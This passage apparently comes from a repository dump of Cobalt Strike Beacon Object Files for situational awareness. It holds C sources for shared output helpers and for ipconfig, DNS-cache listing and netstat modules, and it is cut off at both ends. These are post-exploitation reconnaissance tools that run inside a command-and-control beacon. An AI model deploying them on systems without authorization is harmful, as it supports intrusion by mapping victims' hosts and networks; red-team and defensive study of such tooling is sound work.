buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/ipconfig/ipconfig.c",
    "content": "#include <windows.h>\n#include <iphlpapi.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\ntypedef  DWORD (*getadaptinfo)(LPVOID, PULONG);\ntypedef DWORD (*getnetparms)(LPVOID, PULONG);\n\nvoid getIPInfo(){\n    IP_ADAPTER_INFO * info = intAlloc(sizeof(IP_ADAPTER_INFO) * 32); // have to keep stack < 4K\n    PIP_ADAPTER_INFO p = NULL;\n    PFIXED_INFO pFixedInfo = NULL;\n    PIP_ADDR_STRING pIPAddr;\n    ULONG netOutBufLen = 0;\n    ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO) * 32;\n    DWORD ret;\n    int i = 0;\n\n\n    ret = IPHLPAPI$GetAdaptersInfo(info, &ulOutBufLen);\n    if (ret != ERROR_SUCCESS) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"could not get network adapter info\");\n        goto END;\n    }\n    if(IPHLPAPI$GetNetworkParams(pFixedInfo, &netOutBufLen) == ERROR_BUFFER_OVERFLOW){\n        pFixedInfo = (FIXED_INFO *)intAlloc(netOutBufLen);\n        if (pFixedInfo == NULL)\n        {\n\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"could not get network adapter info\");\n            goto END;\n        }\n        if (IPHLPAPI$GetNetworkParams(pFixedInfo, &netOutBufLen) != NO_ERROR)\n        {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"could not get network adapter info\");\n            goto END;\n        }\n\n    }\n\telse\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"could not get network adapter info\");\n\t\tgoto END;\n\t}\n    for (p = info; p; p = p->Next) {\n\t\t\tinternal_printf( \"%s\\n\", p->AdapterName);\n\t\t\tswitch(p->Type){\n\t\t\tcase MIB_IF_TYPE_ETHERNET:\n\t\t\t\tinternal_printf(  \"%s\", \"\\tEthernet\\n\");\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tinternal_printf(  \"%s\", \"\\tUnknownType\\n\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tinternal_printf(  \"\\t%s\\n\", p->Description);\n\t\t\tinternal_printf(  \"\\t\");\n\t\t\tfor (i = 0; i < p->AddressLength; i++) {\n\t\t\t\tif (i == (p->AddressLength - 1)){\n\t\t\t\t\tinternal_printf(  \"%.2X\\n\", (int) p->Address[i]);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tinternal_printf(  \"%.2X-\", (int) p->Address[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tinternal_printf(  \"\\t%s\\n\", p->IpAddressList.IpAddress.String);\n\t\t\t\n\t}\n\tinternal_printf(  \"Hostname: \\t%s\\n\", pFixedInfo->HostName);\n\tinternal_printf(  \"DNS Suffix: \\t%s\\n\", pFixedInfo->DomainName);\n\tinternal_printf(  \"DNS Server: \\t%s\\n\", pFixedInfo->DnsServerList.IpAddress.String);\n\tpIPAddr = pFixedInfo->DnsServerList.Next;\n\twhile (pIPAddr){\n\t\tinternal_printf(  \"\\t\\t%s\\n\", pIPAddr->IpAddress.String);\n\t\tpIPAddr = pIPAddr->Next;\n\t}\n\tEND:\n    if (pFixedInfo){\n        intFree(pFixedInfo);\n        pFixedInfo = NULL;\n    }\n\tif(info){\n\t\tintFree(info);\n\t\tinfo = NULL;\n\t}\n    return;\n}\n\n\nVOID go( \n\tIN PCHAR Buffer, \n\tIN ULONG Length \n) \n{\n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n\tgetIPInfo();\n\tprintoutput(TRUE);\n};\n\n"
  },
  {
    "path": "SAL-BOF/listdns/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/listdns/listdns.c",
    "content": "#include <windows.h>\n#include <windns.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\ntypedef struct _DNS_CACHE_ENTRY {\n    struct _DNS_CACHE_ENTRY* pNext; // Pointer to next entry\n    PWSTR pszName; // DNS Record Name\n    unsigned short wType; // DNS Record Type\n    unsigned short wDataLength; // Not referenced\n    unsigned long dwFlags; // DNS Record Flags\n} DNSCACHEENTRY, *PDNSCACHEENTRY;\n\nint ListDnsCache(){\n    char* dnsValue = NULL;\n    int retcode = 0;\n    PDNSCACHEENTRY pEntry = NULL, pHead = NULL, pPrev = NULL;\n    DNSAPI$DnsGetCacheDataTable(&pEntry); //allocates memory into pEntry\n    pHead = pEntry;\n    if(pEntry == NULL || pEntry->pNext == NULL)\n    {\n        internal_printf(\"No results found\\n\");\n        retcode = -1;\n        goto CLEANUP;\n    }\n    pEntry = pEntry->pNext;\n    while(pEntry) {\n        dnsValue = Utf16ToUtf8((pEntry->pszName));\n        internal_printf(\"Cache record: %s   | TYPE %d\\n\", dnsValue, pEntry->wType);\n        if (dnsValue){\n            intFree(dnsValue);\n            dnsValue = NULL;\n        }\n        pPrev = pEntry;\n        pEntry = pEntry->pNext;\n        DNSAPI$DnsFree(pPrev, DnsFreeFlat);\n    }\n\nCLEANUP:\n    if (pHead){\n        DNSAPI$DnsFree(pHead, DnsFreeFlat);\n        pEntry = NULL;\n    }\n    return retcode;\n}\n\nVOID go( \n\tIN PCHAR Buffer, \n\tIN ULONG Length \n) \n{\n       \n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n\tListDnsCache();\n\tprintoutput(TRUE);\n};\n\n\n"
  },
  {
    "path": "SAL-BOF/netstat/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/netstat/netstat.c",
    "content": "#include <windows.h>\n#include <winbase.h>\n#include <iphlpapi.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\nWINBASEAPI DWORD WINAPI IPHLPAPI$GetExtendedTcpTable(PVOID pTcpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, TCP_TABLE_CLASS TableClass, ULONG Reserved);\nWINBASEAPI DWORD WINAPI IPHLPAPI$GetExtendedUdpTable(PVOID pUdpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, UDP_TABLE_CLASS TableClass, ULONG Reserved);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$QueryFullProcessImageNameA(HANDLE hProcess, DWORD dwFlags, LPSTR lpExeName, PDWORD lpdwSize);\n\n#define HOSTNAMELEN 256\n#define PORTNAMELEN 256\n#define ADDRESSLEN 512\n\nCHAR TcpState[][32] = {\n    \"???\",\n    \"CLOSED\",\n    \"LISTENING\",\n    \"SYN_SENT\",\n    \"SYN_RCVD\",\n    \"ESTABLISHED\",\n    \"FIN_WAIT1\",\n    \"FIN_WAIT2\",\n    \"CLOSE_WAIT\",\n    \"CLOSING\",\n    \"LAST_ACK\",\n    \"TIME_WAIT\",\n    \"DELETE_TCB\"\n};\n\nchar* GetIpHostName(BOOL Local, UINT IpAddr, CHAR Name[], int NameLen)\n{\n//  struct hostent *phostent;\n    UINT nIpAddr;\n\n    /* display dotted decimal */\n    nIpAddr = WS2_32$htonl(IpAddr);\n    MSVCRT$sprintf(Name, \"%u.%u.%u.%u\",\n            (nIpAddr >> 24) & 0xFF,\n            (nIpAddr >> 16) & 0xFF,\n            (nIpAddr >> 8) & 0xFF,\n            (nIpAddr) & 0xFF);\n   return Name;\n}\n\nchar* GetPortName(UINT Port, PCSTR Proto, CHAR Name[], INT NameLen)\n{\n    MSVCRT$sprintf(Name, \"%u\", WS2_32$htons((WORD)Port));\n    return Name;\n}\n\nvoid GetNameByPID(DWORD processId, char* procName, DWORD *procNameLength) {\n\nHANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, FALSE, processId);\nBOOL state;\n\n\tif (NULL != hProcess )\n    \t{\n\t\tstate = KERNEL32$QueryFullProcessImageNameA(hProcess, 0, (LPSTR)procName, procNameLength);\n\t\tKERNEL32$CloseHandle( hProcess );\n\t\tif(state == TRUE) {\n\t\t    return;\n\t\t} else {\n\t\t    procName = \"PERM\\x00\";\n\t\t    procNameLength = 0;\n\t\t    BeaconPrintf(CALLBACK_ERROR, \"Failed to determine processName by PID %lu QueryFullProcessImageNameA failed\", processId);\n\t\t}\n    \t} else {\n\t\tprocName = \"PERM\\x00\";\n\t\tprocNameLength = 0;\n\t}\n\treturn;\n}\n\nVOID ShowUdpTable()\n{\n//    PMIB_UDPTABLE udpTable;\n    PMIB_UDPTABLE_OWNER_PID uTable;\n    DWORD error, dwSize;\n    DWORD i;\n    CHAR HostIp[HOSTNAMELEN], HostPort[PORTNAMELEN];\n    CHAR Host[ADDRESSLEN];\n\n    /* Get the table of UDP endpoints */\n    dwSize = 0;\n    error = IPHLPAPI$GetExtendedUdpTable(NULL, &dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_PID, 0);\n    if (error != ERROR_INSUFFICIENT_BUFFER)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to snapshot UDP endpoints.\\n\");\n        return;\n    }\n    uTable = (PMIB_UDPTABLE_OWNER_PID) intAlloc(dwSize);\n    error = IPHLPAPI$GetExtendedUdpTable(uTable, &dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_PID, 0);\n    if (error)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to snapshot UDP endpoints table.\\n\");\n        intFree(uTable);\n        return;\n    }\n\n    /* Dump the UDP table */\n\n    for (i = 0; i < uTable->dwNumEntries; i++)\n    {\n\tMIB_UDPROW_OWNER_PID row = uTable->table[i];\n        /* I've split this up so it's easier to follow */\n        GetIpHostName(TRUE, row.dwLocalAddr, HostIp, HOSTNAMELEN);\n        GetPortName(row.dwLocalPort, \"tcp\", HostPort, PORTNAMELEN);\n        MSVCRT$sprintf(Host, \"%s:%s\", HostIp, HostPort);\n\tDWORD pid = row.dwOwningPid;\n\tchar name[MAX_PATH];\n\tfor (int i=0; i<MAX_PATH; i++) { name[i] = '\\x00'; }\n\tDWORD size = MAX_PATH;\n\tDWORD* sizep = &size;\n\tGetNameByPID(pid, name, sizep);\n\tsize = (*sizep);\n        internal_printf(\"  %-6s %-22s %-22s %75s (%5i)\\n\", \"UDP\", Host,  \"*:*\", name, pid);\n    }\n\n    intFree(uTable);\n}\n\n\nvoid Netstat(){\n//    PMIB_TCPTABLE tcpTable;\n    PMIB_TCPTABLE_OWNER_PID ptTable;\n    DWORD error, dwSize;\n    DWORD i;\n    CHAR HostIp[HOSTNAMELEN], HostPort[PORTNAMELEN];\n    CHAR RemoteIp[HOSTNAMELEN], RemotePort[PORTNAMELEN];\n    CHAR Host[ADDRESSLEN];\n    CHAR Remote[ADDRESSLEN];\n\n    dwSize = 0;\n    error = IPHLPAPI$GetExtendedTcpTable(NULL, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);\n    if (error != ERROR_INSUFFICIENT_BUFFER)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to snapshot TCP endpoints.\\n\");\n        return;\n    }\n\t// now that we know the buffer size, alloc it and call again with our struct\n    ptTable = (PMIB_TCPTABLE_OWNER_PID) intAlloc(dwSize);\n    error = IPHLPAPI$GetExtendedTcpTable(ptTable, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);\n    if (error)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to snapshot TCP endpoints table.\\n\");\n        intFree(ptTable);\n        return;\n    }\n    internal_printf(\"Processing: %ld Entries\\n\", ptTable->dwNumEntries);\n    internal_printf(\"  %-4s %-22s %-22s %11s %75s %5s\\n\", \"PROTO\", \"SRC\", \"DST\", \"STATE\", \"PROCESS\", \"PID\");\n\n    for (i = 0; i < ptTable->dwNumEntries; i++)\n    {\n\t\tMIB_TCPROW_OWNER_PID row = ptTable->table[i];\n        /* If we aren't showing all connections, only display established, close wait\n *          * and time wait. This is the default output for netstat */\n        if (1 ||(row.dwState ==  MIB_TCP_STATE_ESTAB)\n            || (row.dwState ==  MIB_TCP_STATE_CLOSE_WAIT)\n            || (row.dwState ==  MIB_TCP_STATE_TIME_WAIT))\n        {\n            /* I've split this up so it's easier to follow */\n           GetIpHostName(TRUE, row.dwLocalAddr, HostIp, HOSTNAMELEN);\n           GetPortName(row.dwLocalPort, \"tcp\", HostPort, PORTNAMELEN);\n           MSVCRT$sprintf(Host, \"%s:%s\", HostIp, HostPort);\n\n           if (row.dwState ==  MIB_TCP_STATE_LISTEN)\n           {\n               MSVCRT$sprintf(Remote, \"LISTEN\");\n           }\n           else\n           {\n               GetIpHostName(FALSE, row.dwRemoteAddr, RemoteIp, HOSTNAMELEN);\n               GetPortName(row.dwRemotePort, \"tcp\", RemotePort, PORTNAMELEN);\n               MSVCRT$sprintf(Remote, \"%s:%s\", RemoteIp, RemotePort);\n           }\n\t   DWORD pid = row.dwOwningPid;\n\t   char name[MAX_PATH];\n\t   for(int i=0; i<MAX_PATH; i++) { name[i] = '\\x00'; }\n\t   DWORD size = MAX_PATH;\n\t   DWORD* sizep = &size;\n\t   GetNameByPID(pid, name, sizep);\n\t   size = (*sizep);\n           internal_printf(\"  %-4s %-22s %-22s %11s %75s (%5i)\\n\", \"TCP\", Host, Remote, TcpState[row.dwState], name, pid);\n//           internal_printf(\"  %-6s %-22s %-22s %s\\n\", \"TCP\", Host, Remote, TcpState[row.dwState]);\n        }\n    }\n    intFree(ptTable);\n    ShowUdpTable();\n    return;\n}\n\n\nVOID go(\n        IN PCHAR Buffer,\n        IN ULONG Length\n)\n{\n        if(!bofstart())\n        {\n                return;\n        }\n        Netstat();\n        printoutput(TRUE);\n};\n"
  },
  {
    "path": "SAL-BOF/nslookup/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure 